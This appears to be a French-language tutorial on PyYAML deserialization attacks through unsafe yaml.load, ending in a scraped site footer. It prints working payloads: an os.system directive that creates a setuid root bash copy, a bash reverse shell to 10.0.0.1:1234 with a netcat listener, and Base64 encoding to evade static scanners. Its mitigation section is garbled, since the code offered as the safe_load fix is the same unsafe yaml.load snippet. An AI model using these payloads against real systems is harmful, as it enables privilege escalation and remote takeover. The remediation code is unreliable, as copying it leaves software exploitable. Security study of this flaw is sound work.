La bibliothèque YAML (YAML Ain't Markup Language) en Python a été identifiée comme présentant des vulnérabilités qui permettent l'exécution de commandes arbitraires sous certaines conditions. La vulnérabilité résulte de l'utilisation de la fonction yaml.load sans spécifier de chargeur sécurisé. Par défaut, yaml.load peut exécuter des objets Python arbitraires, ce qui crée une surface d'attaque pour les charges utiles malveillantes.
Le risque fondamental réside dans le processus de désérialisation. Lorsqu'un document YAML contient une charge utile malveillante, yaml.load traite les directives intégrées, conduisant potentiellement à l'exécution de code. Par exemple, considérons l'extrait suivant :
import yaml filename = "example.yml" data = open(filename, 'r').read() yaml.load(data) # Unsafe usage
Ici, la fonction yaml.load analyse example.yml sans restrictions, le rendant vulnérable si le contenu YAML inclut des directives non sécurisées. Une charge utile d'exploit typique peut être conçue pour exécuter des commandes système arbitraires.
import yaml from yaml import Loader, UnsafeLoader # Malicious payload payload = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]' # Exploitation yaml.load(payload) yaml.load(payload, Loader=Loader) yaml.load(payload, Loader=UnsafeLoader)
Chacune de ces invocations traite la charge utile, entraînant la création d'un exécutable privilégié dans /tmp/bash. Ce binaire peut ensuite être exécuté avec des privilèges élevés :
/tmp/bash -p
Cela démontre le potentiel d'élévation des privilèges si la vulnérabilité est exploitée sur un système avec des autorisations mal configurées ou d'autres faiblesses.
Un cas d'utilisation particulièrement insidieux consiste à exploiter la vulnérabilité d'un shell inversé. Cela permet aux attaquants d’accéder à distance à la machine cible. Le processus consiste à démarrer un écouteur sur la machine de l'attaquant et à créer un document YAML conçu pour établir la connexion inverse.
Sur la machine de l'attaquant, lancez un écouteur Netcat :
nc -lvnp 1234
Sur le système cible, exécutez le script Python suivant en tant que root :
import yaml # Reverse shell payload data = '!!python/object/new:os.system ["bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\""]' yaml.load(data) # Executes the reverse shell
Cette charge utile demande à la machine cible de se reconnecter à l'écouteur de l'attaquant, fournissant ainsi un shell entièrement interactif avec les privilèges du processus d'exécution.
Pour contourner les contrôles ou filtres de sécurité de base, la charge utile peut être codée en Base64. Cette méthode ajoute une couche d'obscurcissement, échappant potentiellement à la détection par les outils d'analyse statique.
from base64 import b64decode import yaml # Base64-encoded payload encoded_payload = b"ISFweXRa...YXNoIl0=" # Truncated for brevity payload = b64decode(encoded_payload) # Execute the payload yaml.load(payload)
Les professionnels doivent adopter des pratiques de codage strictes pour éliminer ces vulnérabilités. Les mesures d'atténuation recommandées incluent :
Utilisation de Safe Loaders : remplacez yaml.load par yaml.safe_load, qui empêche l'exécution d'objets arbitraires.
import yaml filename = "example.yml" data = open(filename, 'r').read() yaml.load(data) # Unsafe usage
Restriction des sources d'entrée : assurez-vous que les entrées YAML sont nettoyées et proviennent uniquement de sources fiables.
Application de l'analyse statique : utilisez des outils pour analyser les bases de code à la recherche d'invocations yaml.load dangereuses.
Durcissement de l'environnement : restreindre les autorisations du système pour minimiser l'impact de l'exploitation. Par exemple, l'utilisation d'environnements conteneurisés limite la capacité d'un attaquant à élever ses privilèges.
Le comportement par défaut de la bibliothèque YAML illustre les risques associés à la désérialisation dans les langages typés dynamiquement comme Python. L’exploitation de cette vulnérabilité nécessite une sophistication minimale, ce qui en fait un problème hautement prioritaire pour le développement d’applications sécurisées. Il est impératif d'adopter des pratiques de codage sûres, ainsi qu'une validation des entrées et des garanties d'exécution robustes, pour atténuer efficacement ces risques.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!